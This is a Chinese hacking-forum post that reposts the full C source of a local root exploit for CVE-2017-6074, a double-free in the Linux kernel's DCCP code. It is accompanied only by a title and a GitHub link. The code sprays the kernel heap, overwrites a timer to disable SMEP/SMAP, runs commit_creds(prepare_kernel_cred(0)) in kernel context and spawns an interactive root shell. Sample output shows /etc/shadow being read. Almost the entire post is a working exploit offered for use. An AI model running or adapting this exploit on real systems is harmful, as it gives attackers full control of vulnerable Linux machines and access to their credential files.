搜索
查看: 286|回复: 0

CVE-2017-6074:Linux内核中存在11年的特权提升漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-28 21:55:49 | 显示全部楼层 |阅读模式
  1. // A proof-of-concept local root exploit for CVE-2017-6074.
  2. // Includes a semireliable SMAP/SMEP bypass.
  3. // Tested on 4.4.0-62-generic #83-Ubuntu kernel.
  4. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
  5. //
  6. // Usage:
  7. // $ gcc poc.c -o pwn
  8. // $ ./pwn
  9. // [.] namespace sandbox setup successfully
  10. // [.] disabling SMEP & SMAP
  11. // [.] scheduling 0xffffffff81064550(0x406e0)
  12. // [.] waiting for the timer to execute
  13. // [.] done
  14. // [.] SMEP & SMAP should be off now
  15. // [.] getting root
  16. // [.] executing 0x402043
  17. // [.] done
  18. // [.] should be root now
  19. // [.] checking if we got root
  20. // [+] got r00t ^_^
  21. // [!] don't kill the exploit binary, the kernel will crash
  22. // # cat /etc/shadow
  23. // ...
  24. // daemon:*:17149:0:99999:7:::
  25. // bin:*:17149:0:99999:7:::
  26. // sys:*:17149:0:99999:7:::
  27. // sync:*:17149:0:99999:7:::
  28. // games:*:17149:0:99999:7:::
  29. // ...
  30. //
  31. // Andrey Konovalov <andreyknvl@gmail.com>

  32. #define _GNU_SOURCE

  33. #include <errno.h>
  34. #include <fcntl.h>
  35. #include <stdarg.h>
  36. #include <stdbool.h>
  37. #include <stddef.h>
  38. #include <stdint.h>
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <string.h>
  42. #include <unistd.h>

  43. #include <sched.h>

  44. #include <sys/socket.h>
  45. #include <sys/syscall.h>
  46. #include <sys/types.h>
  47. #include <sys/wait.h>

  48. #include <arpa/inet.h>
  49. #include <linux/if_packet.h>
  50. #include <netinet/if_ether.h>

  51. #define SMEP_SMAP_BYPASS        1

  52. // Needed for local root.
  53. #define COMMIT_CREDS                0xffffffff810a2840L
  54. #define PREPARE_KERNEL_CRED        0xffffffff810a2c30L
  55. #define SHINFO_OFFSET                1728

  56. // Needed for SMEP_SMAP_BYPASS.
  57. #define NATIVE_WRITE_CR4        0xffffffff81064550ul
  58. #define CR4_DESIRED_VALUE        0x406e0ul
  59. #define TIMER_OFFSET                (728 + 48 + 104)

  60. #define KMALLOC_PAD 128
  61. #define KMALLOC_WARM 32
  62. #define CATCH_FIRST 6
  63. #define CATCH_AGAIN 16
  64. #define CATCH_AGAIN_SMALL 64

  65. // Port is incremented on each use.
  66. static int port = 11000;

  67. void debug(const char *msg) {
  68. /*
  69.         char buffer[32];
  70.         snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
  71.         system(buffer);
  72. */
  73. }

  74. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

  75. struct ubuf_info {
  76.         uint64_t callback;                // void (*callback)(struct ubuf_info *, bool)
  77.         uint64_t ctx;                        // void *
  78.         uint64_t desc;                        // unsigned long
  79. };

  80. struct skb_shared_info {
  81.         uint8_t  nr_frags;                // unsigned char
  82.         uint8_t  tx_flags;                // __u8
  83.         uint16_t gso_size;                // unsigned short
  84.         uint16_t gso_segs;                // unsigned short
  85.         uint16_t gso_type;                // unsigned short
  86.         uint64_t frag_list;                // struct sk_buff *
  87.         uint64_t hwtstamps;                // struct skb_shared_hwtstamps
  88.         uint32_t tskey;                        // u32
  89.         uint32_t ip6_frag_id;                // __be32
  90.         uint32_t dataref;                // atomic_t
  91.         uint64_t destructor_arg;        // void *
  92.         uint8_t  frags[16][17];                // skb_frag_t frags[MAX_SKB_FRAGS];
  93. };

  94. struct ubuf_info ui;

  95. void init_skb_buffer(char* buffer, void *func) {
  96.         memset(&buffer[0], 0, 2048);

  97.         struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];

  98.         ssi->tx_flags = 0xff;
  99.         ssi->destructor_arg = (uint64_t)&ui;
  100.         ssi->nr_frags = 0;
  101.         ssi->frag_list = 0;

  102.         ui.callback = (unsigned long)func;
  103. }

  104. struct timer_list {
  105.         void                *next;
  106.         void                *prev;
  107.         unsigned long        expires;
  108.         void                (*function)(unsigned long);
  109.         unsigned long        data;
  110.         unsigned int        flags;
  111.         int                slack;
  112. };

  113. void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
  114.         memset(&buffer[0], 0, 2048);

  115.         struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];

  116.         timer->next = 0;
  117.         timer->prev = 0;
  118.         timer->expires = 4294943360;
  119.         timer->function = func;
  120.         timer->data = arg;
  121.         timer->flags = 1;
  122.         timer->slack = -1;
  123. }

  124. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

  125. struct dccp_handle {
  126.         struct sockaddr_in6 sa;
  127.         int s1;
  128.         int s2;
  129. };

  130. void dccp_init(struct dccp_handle *handle, int port) {
  131.         handle->sa.sin6_family = AF_INET6;
  132.         handle->sa.sin6_port = htons(port);
  133.         inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
  134.         handle->sa.sin6_flowinfo = 0;
  135.         handle->sa.sin6_scope_id = 0;

  136.         handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  137.         if (handle->s1 == -1) {
  138.                 perror("socket(SOCK_DCCP)");
  139.                 exit(EXIT_FAILURE);
  140.         }

  141.         int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
  142.         if (rv != 0) {
  143.                 perror("bind()");
  144.                 exit(EXIT_FAILURE);
  145.         }

  146.         rv = listen(handle->s1, 0x9);
  147.         if (rv != 0) {
  148.                 perror("listen()");
  149.                 exit(EXIT_FAILURE);
  150.         }

  151.         int optval = 8;
  152.         rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
  153.                         &optval, sizeof(optval));
  154.         if (rv != 0) {
  155.                 perror("setsockopt(IPV6_RECVPKTINFO)");
  156.                 exit(EXIT_FAILURE);
  157.         }

  158.         handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  159.         if (handle->s1 == -1) {
  160.                 perror("socket(SOCK_DCCP)");
  161.                 exit(EXIT_FAILURE);
  162.         }
  163. }

  164. void dccp_kmalloc_kfree(struct dccp_handle *handle) {
  165.         int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
  166.         if (rv != 0) {
  167.                 perror("connect(SOCK_DCCP)");
  168.                 exit(EXIT_FAILURE);
  169.         }
  170. }

  171. void dccp_kfree_again(struct dccp_handle *handle) {
  172.         int rv = shutdown(handle->s1, SHUT_RDWR);
  173.         if (rv != 0) {
  174.                 perror("shutdown(SOCK_DCCP)");
  175.                 exit(EXIT_FAILURE);
  176.         }
  177. }

  178. void dccp_destroy(struct dccp_handle *handle) {
  179.         close(handle->s1);
  180.         close(handle->s2);
  181. }

  182. // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *

  183. struct udp_fifo_handle {
  184.         int fds[2];
  185. };

  186. void udp_fifo_init(struct udp_fifo_handle* handle) {
  187.         int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
  188.         if (rv != 0) {
  189.                 perror("socketpair()");
  190.                 exit(EXIT_FAILURE);
  191.         }
  192. }

  193. void udp_fifo_destroy(struct udp_fifo_handle* handle) {
  194.         close(handle->fds[0]);
  195.         close(handle->fds[1]);
  196. }

  197. void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
  198.         int rv = send(handle->fds[0], buffer, 1536, 0);
  199.         if (rv != 1536) {
  200.                 perror("send()");
  201.                 exit(EXIT_FAILURE);
  202.         }
  203. }

  204. void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
  205.         char buffer[128];
  206.         int rv = send(handle->fds[0], &buffer[0], 128, 0);
  207.         if (rv != 128) {
  208.                 perror("send()");
  209.                 exit(EXIT_FAILURE);
  210.         }
  211. }

  212. void udp_fifo_kfree(struct udp_fifo_handle* handle) {
  213.           char buffer[2048];
  214.         int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
  215.         if (rv != 1536) {
  216.                 perror("recv()");
  217.                 exit(EXIT_FAILURE);
  218.         }
  219. }

  220. int timer_kmalloc() {
  221.         int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  222.         if (s == -1) {
  223.                 perror("socket(SOCK_DGRAM)");
  224.                 exit(EXIT_FAILURE);
  225.         }
  226.         return s;
  227. }

  228. #define CONF_RING_FRAMES 1
  229. void timer_schedule(int handle, int timeout) {
  230.         int optval = TPACKET_V3;
  231.         int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
  232.                         &optval, sizeof(optval));
  233.         if (rv != 0) {
  234.                 perror("setsockopt(PACKET_VERSION)");
  235.                 exit(EXIT_FAILURE);
  236.         }
  237.         struct tpacket_req3 tp;
  238.         memset(&tp, 0, sizeof(tp));
  239.         tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
  240.         tp.tp_block_nr = 1;
  241.         tp.tp_frame_size = getpagesize();
  242.         tp.tp_frame_nr = CONF_RING_FRAMES;
  243.         tp.tp_retire_blk_tov = timeout;
  244.         rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
  245.                         (void *)&tp, sizeof(tp));
  246.         if (rv != 0) {
  247.                 perror("setsockopt(PACKET_RX_RING)");
  248.                 exit(EXIT_FAILURE);
  249.         }
  250. }

  251. void socket_sendmmsg(int sock, char *buffer) {
  252.         struct mmsghdr msg[1];

  253.         msg[0].msg_hdr.msg_iovlen = 0;

  254.         // Buffer to kmalloc.
  255.         msg[0].msg_hdr.msg_control = &buffer[0];
  256.         msg[0].msg_hdr.msg_controllen = 2048;

  257.         // Make sendmmsg exit easy with EINVAL.
  258.         msg[0].msg_hdr.msg_name = "root";
  259.         msg[0].msg_hdr.msg_namelen = 1;

  260.         int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
  261.         if (rv == -1 && errno != EINVAL) {
  262.                 perror("[-] sendmmsg()");
  263.                 exit(EXIT_FAILURE);
  264.         }
  265. }

  266. void sendmmsg_kmalloc_kfree(int port, char *buffer) {
  267.         int sock[2];

  268.         int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
  269.         if (rv != 0) {
  270.                 perror("socketpair()");
  271.                 exit(EXIT_FAILURE);
  272.         }

  273.         socket_sendmmsg(sock[0], buffer);

  274.         close(sock[0]);
  275. }

  276. // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *

  277. void dccp_connect_pad(struct dccp_handle *handle, int port) {
  278.         handle->sa.sin6_family = AF_INET6;
  279.         handle->sa.sin6_port = htons(port);
  280.         inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
  281.         handle->sa.sin6_flowinfo = 0;
  282.         handle->sa.sin6_scope_id = 0;

  283.         handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  284.         if (handle->s1 == -1) {
  285.                 perror("socket(SOCK_DCCP)");
  286.                 exit(EXIT_FAILURE);
  287.         }

  288.         int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
  289.         if (rv != 0) {
  290.                 perror("bind()");
  291.                 exit(EXIT_FAILURE);
  292.         }

  293.         rv = listen(handle->s1, 0x9);
  294.         if (rv != 0) {
  295.                 perror("listen()");
  296.                 exit(EXIT_FAILURE);
  297.         }

  298.         handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  299.         if (handle->s1 == -1) {
  300.                 perror("socket(SOCK_DCCP)");
  301.                 exit(EXIT_FAILURE);
  302.         }

  303.         rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
  304.         if (rv != 0) {
  305.                 perror("connect(SOCK_DCCP)");
  306.                 exit(EXIT_FAILURE);
  307.         }
  308. }

  309. void dccp_kmalloc_pad() {
  310.         int i;
  311.         struct dccp_handle handle;
  312.         for (i = 0; i < 4; i++) {
  313.                 dccp_connect_pad(&handle, port++);
  314.         }
  315. }

  316. void timer_kmalloc_pad() {
  317.         int i;
  318.         for (i = 0; i < 4; i++) {
  319.                 socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  320.         }
  321. }

  322. void udp_kmalloc_pad() {
  323.         int i, j;
  324.         char dummy[2048];
  325.         struct udp_fifo_handle uh[16];
  326.         for (i = 0; i < KMALLOC_PAD / 16; i++) {
  327.                 udp_fifo_init(&uh[i]);
  328.                 for (j = 0; j < 16; j++)
  329.                         udp_fifo_kmalloc(&uh[i], &dummy[0]);
  330.         }
  331. }

  332. void kmalloc_pad() {
  333.         debug("dccp kmalloc pad");
  334.         dccp_kmalloc_pad();
  335.         debug("timer kmalloc pad");
  336.         timer_kmalloc_pad();
  337.         debug("udp kmalloc pad");
  338.         udp_kmalloc_pad();
  339. }

  340. void udp_kmalloc_warm() {
  341.         int i, j;
  342.         char dummy[2048];
  343.         struct udp_fifo_handle uh[16];
  344.         for (i = 0; i < KMALLOC_WARM / 16; i++) {
  345.                 udp_fifo_init(&uh[i]);
  346.                 for (j = 0; j < 16; j++)
  347.                         udp_fifo_kmalloc(&uh[i], &dummy[0]);
  348.         }
  349.         for (i = 0; i < KMALLOC_WARM / 16; i++) {
  350.                 for (j = 0; j < 16; j++)
  351.                         udp_fifo_kfree(&uh[i]);
  352.         }
  353. }

  354. void kmalloc_warm() {
  355.         udp_kmalloc_warm();
  356. }

  357. // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *

  358. // Executes func(arg) from interrupt context multiple times.
  359. void kernel_exec_irq(void *func, unsigned long arg) {
  360.         int i;
  361.         struct dccp_handle dh;
  362.         struct udp_fifo_handle uh1, uh2, uh3, uh4;
  363.         char dummy[2048];
  364.         char buffer[2048];

  365.         printf("[.] scheduling %p(%p)\n", func, (void *)arg);

  366.         memset(&dummy[0], 0xc3, 2048);
  367.         init_timer_buffer(&buffer[0], func, arg);

  368.         udp_fifo_init(&uh1);
  369.         udp_fifo_init(&uh2);
  370.         udp_fifo_init(&uh3);
  371.         udp_fifo_init(&uh4);

  372.         debug("kmalloc pad");
  373.         kmalloc_pad();

  374.         debug("kmalloc warm");
  375.         kmalloc_warm();

  376.         debug("dccp init");
  377.         dccp_init(&dh, port++);

  378.         debug("dccp kmalloc kfree");
  379.         dccp_kmalloc_kfree(&dh);

  380.         debug("catch 1");
  381.         for (i = 0; i < CATCH_FIRST; i++)
  382.                 udp_fifo_kmalloc(&uh1, &dummy[0]);

  383.         debug("dccp kfree again");
  384.         dccp_kfree_again(&dh);

  385.         debug("catch 2");
  386.         for (i = 0; i < CATCH_FIRST; i++)
  387.                 udp_fifo_kmalloc(&uh2, &dummy[0]);

  388.         int timers[CATCH_FIRST];
  389.         debug("catch 1 -> timer");
  390.         for (i = 0; i < CATCH_FIRST; i++) {
  391.                 udp_fifo_kfree(&uh1);
  392.                 timers[i] = timer_kmalloc();
  393.         }

  394.         debug("catch 1 small");
  395.         for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  396.                 udp_fifo_kmalloc_small(&uh4);

  397.         debug("schedule timers");
  398.         for (i = 0; i < CATCH_FIRST; i++)
  399.                 timer_schedule(timers[i], 500);

  400.         debug("catch 2 -> overwrite timers");
  401.         for (i = 0; i < CATCH_FIRST; i++) {
  402.                 udp_fifo_kfree(&uh2);
  403.                 udp_fifo_kmalloc(&uh3, &buffer[0]);
  404.         }

  405.         debug("catch 2 small");
  406.         for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  407.                 udp_fifo_kmalloc_small(&uh4);

  408.         printf("[.] waiting for the timer to execute\n");

  409.         debug("wait");
  410.         sleep(1);

  411.         printf("[.] done\n");
  412. }

  413. void disable_smep_smap() {
  414.         printf("[.] disabling SMEP & SMAP\n");
  415.         kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
  416.         printf("[.] SMEP & SMAP should be off now\n");
  417. }

  418. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *

  419. // Executes func() from process context.
  420. void kernel_exec(void *func) {
  421.         int i;
  422.         struct dccp_handle dh;
  423.         struct udp_fifo_handle uh1, uh2, uh3;
  424.         char dummy[2048];
  425.         char buffer[2048];

  426.         printf("[.] executing %p\n", func);

  427.         memset(&dummy[0], 0, 2048);
  428.         init_skb_buffer(&buffer[0], func);

  429.         udp_fifo_init(&uh1);
  430.         udp_fifo_init(&uh2);
  431.         udp_fifo_init(&uh3);

  432.         debug("kmalloc pad");
  433.         kmalloc_pad();

  434.         debug("kmalloc warm");
  435.         kmalloc_warm();

  436.         debug("dccp init");
  437.         dccp_init(&dh, port++);

  438.         debug("dccp kmalloc kfree");
  439.         dccp_kmalloc_kfree(&dh);

  440.         debug("catch 1");
  441.         for (i = 0; i < CATCH_FIRST; i++)
  442.                 udp_fifo_kmalloc(&uh1, &dummy[0]);

  443.         debug("dccp kfree again:");
  444.         dccp_kfree_again(&dh);

  445.         debug("catch 2");
  446.         for (i = 0; i < CATCH_FIRST; i++)
  447.                 udp_fifo_kmalloc(&uh2, &dummy[0]);

  448.         debug("catch 1 -> overwrite");
  449.         for (i = 0; i < CATCH_FIRST; i++) {
  450.                 udp_fifo_kfree(&uh1);
  451.                 sendmmsg_kmalloc_kfree(port++, &buffer[0]);
  452.         }
  453.         debug("catch 2 -> free & trigger");
  454.         for (i = 0; i < CATCH_FIRST; i++)
  455.                 udp_fifo_kfree(&uh2);

  456.         debug("catch 1 & 2");
  457.         for (i = 0; i < CATCH_AGAIN; i++)
  458.                 udp_fifo_kmalloc(&uh3, &dummy[0]);

  459.         printf("[.] done\n");
  460. }

  461. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  462. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

  463. _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
  464. _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

  465. void get_root_payload(void) {
  466.         commit_creds(prepare_kernel_cred(0));
  467. }

  468. void get_root() {
  469.         printf("[.] getting root\n");
  470.         kernel_exec(&get_root_payload);
  471.         printf("[.] should be root now\n");
  472. }

  473. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

  474. void exec_shell() {
  475.         char *shell = "/bin/bash";
  476.         char *args[] = {shell, "-i", NULL};
  477.         execve(shell, args, NULL);
  478. }

  479. void fork_shell() {
  480.         pid_t rv;

  481.         rv = fork();
  482.         if (rv == -1) {
  483.                 perror("fork()");
  484.                 exit(EXIT_FAILURE);
  485.         }

  486.         if (rv == 0) {
  487.                 exec_shell();
  488.         }
  489. }

  490. bool is_root() {
  491.         // We can't simple check uid, since we're running inside a namespace
  492.         // with uid set to 0. Try opening /etc/shadow instead.
  493.         int fd = open("/etc/shadow", O_RDONLY);
  494.         if (fd == -1)
  495.                 return false;
  496.         close(fd);
  497.         return true;
  498. }

  499. void check_root() {
  500.         printf("[.] checking if we got root\n");

  501.         if (!is_root()) {
  502.                 printf("[-] something went wrong =(\n");
  503.                 printf("[!] don't kill the exploit binary, the kernel will crash\n");
  504.                 return;
  505.         }

  506.         printf("[+] got r00t ^_^\n");
  507.         printf("[!] don't kill the exploit binary, the kernel will crash\n");

  508.         // Fork and exec instead of just doing the exec to avoid freeing
  509.         // skbuffs and prevent crashes due to a allocator corruption.
  510.         fork_shell();
  511. }

  512. static bool write_file(const char* file, const char* what, ...)
  513. {
  514.         char buf[1024];
  515.         va_list args;
  516.         va_start(args, what);
  517.         vsnprintf(buf, sizeof(buf), what, args);
  518.         va_end(args);
  519.         buf[sizeof(buf) - 1] = 0;
  520.         int len = strlen(buf);

  521.         int fd = open(file, O_WRONLY | O_CLOEXEC);
  522.         if (fd == -1)
  523.                 return false;
  524.         if (write(fd, buf, len) != len) {
  525.                 close(fd);
  526.                 return false;
  527.         }
  528.         close(fd);
  529.         return true;
  530. }

  531. void setup_sandbox() {
  532.         int real_uid = getuid();
  533.         int real_gid = getgid();

  534.         if (unshare(CLONE_NEWUSER) != 0) {
  535.                 perror("unshare(CLONE_NEWUSER)");
  536.                 exit(EXIT_FAILURE);
  537.         }

  538.         if (unshare(CLONE_NEWNET) != 0) {
  539.                 perror("unshare(CLONE_NEWUSER)");
  540.                 exit(EXIT_FAILURE);
  541.         }

  542.         if (!write_file("/proc/self/setgroups", "deny")) {
  543.                 perror("write_file(/proc/self/set_groups)");
  544.                 exit(EXIT_FAILURE);
  545.         }
  546.         if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
  547.                 perror("write_file(/proc/self/uid_map)");
  548.                 exit(EXIT_FAILURE);
  549.         }
  550.         if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  551.                 perror("write_file(/proc/self/gid_map)");
  552.                 exit(EXIT_FAILURE);
  553.         }

  554.         cpu_set_t my_set;
  555.         CPU_ZERO(&my_set);
  556.         CPU_SET(0, &my_set);
  557.         if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  558.                 perror("sched_setaffinity()");
  559.                 exit(EXIT_FAILURE);
  560.         }

  561.         if (system("/sbin/ifconfig lo up") != 0) {
  562.                 perror("system(/sbin/ifconfig lo up)");
  563.                 exit(EXIT_FAILURE);
  564.         }

  565.         printf("[.] namespace sandbox setup successfully\n");
  566. }

  567. int main() {
  568.         setup_sandbox();

  569. #if SMEP_SMAP_BYPASS
  570.         disable_smep_smap();
  571. #endif

  572.         get_root();

  573.         check_root();

  574.         while (true) {
  575.                 sleep(100);
  576.         }

  577.         return 0;
  578. }
复制代码
https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表